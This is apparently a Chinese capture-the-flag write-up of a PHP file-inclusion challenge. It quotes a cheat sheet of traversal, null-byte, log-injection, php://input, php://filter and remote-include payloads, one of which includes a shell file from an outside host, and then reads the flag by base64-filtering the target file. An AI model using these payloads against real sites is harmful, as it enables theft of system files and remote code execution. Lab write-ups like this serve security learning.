1. 程式人生 > >百度杯 二月場web-include By Assassin [檔案包含漏洞]

百度杯 二月場web-include By Assassin [檔案包含漏洞]

開啟題目連結可以看到

這裡寫圖片描述

這就是典型的檔案包含漏洞(當然題目中也是告訴你了,就是檔案包含漏洞),之前不是很瞭解檔案包含漏洞是什麼,在這裡實現了一下。

大概找了一下,有位大哥小小總結了一下技巧

1.基本的檔案包含漏洞:
code : 
* 包含同路徑下的檔案:
?file=.htaccess
* 路徑遍歷:
?file=../../../../../../../../../var/lib/locate.db
(該檔案非常有趣因為它允許你搜索檔案系統)
* 包含注入PHP程式碼的檔案:
?file=../../../../../../../../../var/log/apache/error.log
(you can find other possible Apache dirs here and
other ways here. Think about all possible logfiles, file uploads, session files etc.) 2.受限的本地檔案包含: code : * 空字元注入(Null Byte Injection): ?file=../../../../../../../../../etc/passwd%00 (需要magic_quotes_gpc=off) * 列目錄(Null Byte Injection): ?file=../../../../../../../../../var/www/accounts/%00 (僅限BSD, 需要magic_quotes_gpc=off,詳細資訊here) *路徑截斷(Path Truncation): ?file
=../../../../../../../../../etc/passwd.\.\.\.\.\.\.\.\.\.\.\ … (詳細資訊參見 here 和 here) * 點號截斷: ?file=../../../../../../../../../etc/passwd……………. … (僅限Windows, 更多細節參見 here) 3.基本的遠端檔案包含: code : * 包含遠端程式碼(Including Remote Code): ?file=[http|https|ftp]://websec.wordpress.com/shell.txt (需要 allow_url_fopen=On 和 allow_url_include=On) * 使用php輸入流(Using PHP stream php://input): ?file
=php://input (specify your payload in the POST parameters, watch urlencoding, details here, requires allow_url_include=On) * 使用PHP過濾函式(Using PHP stream php://filter): ?file=php://filter/convert.base64-encode/resource=index.php (lets you read PHP source because it wont get evaluated in base64. More details here and here) * Using data URIs: ?file=data://text/plain;base64,SSBsb3ZlIFBIUAo= (需要 allow_url_include=On) * 用於跨站指令碼攻擊(Using XSS): ?file=http://127.0.0.1/path/xss.php?xss=phpcode (makes sense if firewalled or only whitelisted domains allowed) 4.受限的遠端檔案包含漏洞 code : * ?file=http://websec.wordpress.com/shell * ?file=http://websec.wordpress.com/shell.txt? * ?file=http://websec.wordpress.com/shell.txt%23 (需要 allow_url_fopen=On 和 allow_url_include=On) 5.靜態遠端檔案包含漏洞: code : * 中間人攻擊(Man In The Middle) (lame indeed, but often forgotten)

雖然很多我也不是很懂,但是暫且放在這裡以待日後使用!下面繼續實驗!

用firefox下載一個hackbar,用常用的php://input輸入嘗試。原理是include字串可以直接在介面輸出的,當然需要支援allow_url_include=On,不過非常不巧的是這裡正好是開著的

這裡寫圖片描述

然後我們先進行實驗

這裡寫圖片描述

我們看到是可以實現的!但是現在我們不知道檔案有什麼,所以進行一下尋找。然後我們構造可以看到

這裡寫圖片描述

應該就是dle345aae.php這個檔案了,但是我們直接輸入並沒有什麼效果

這裡寫圖片描述

這是怎麼回事???猜測是讀取的時候加了waf,用filter功能就行了!構造

?path=php://filter/convert.base64-encode/resource=dle345aae.php

就會用base64的形勢輸出,然後解密就得到了答案!

(PS:本來想嘗試一下遠端的,但是發現遠端連結開啟選項是關閉的,沒辦法了)
這裡寫圖片描述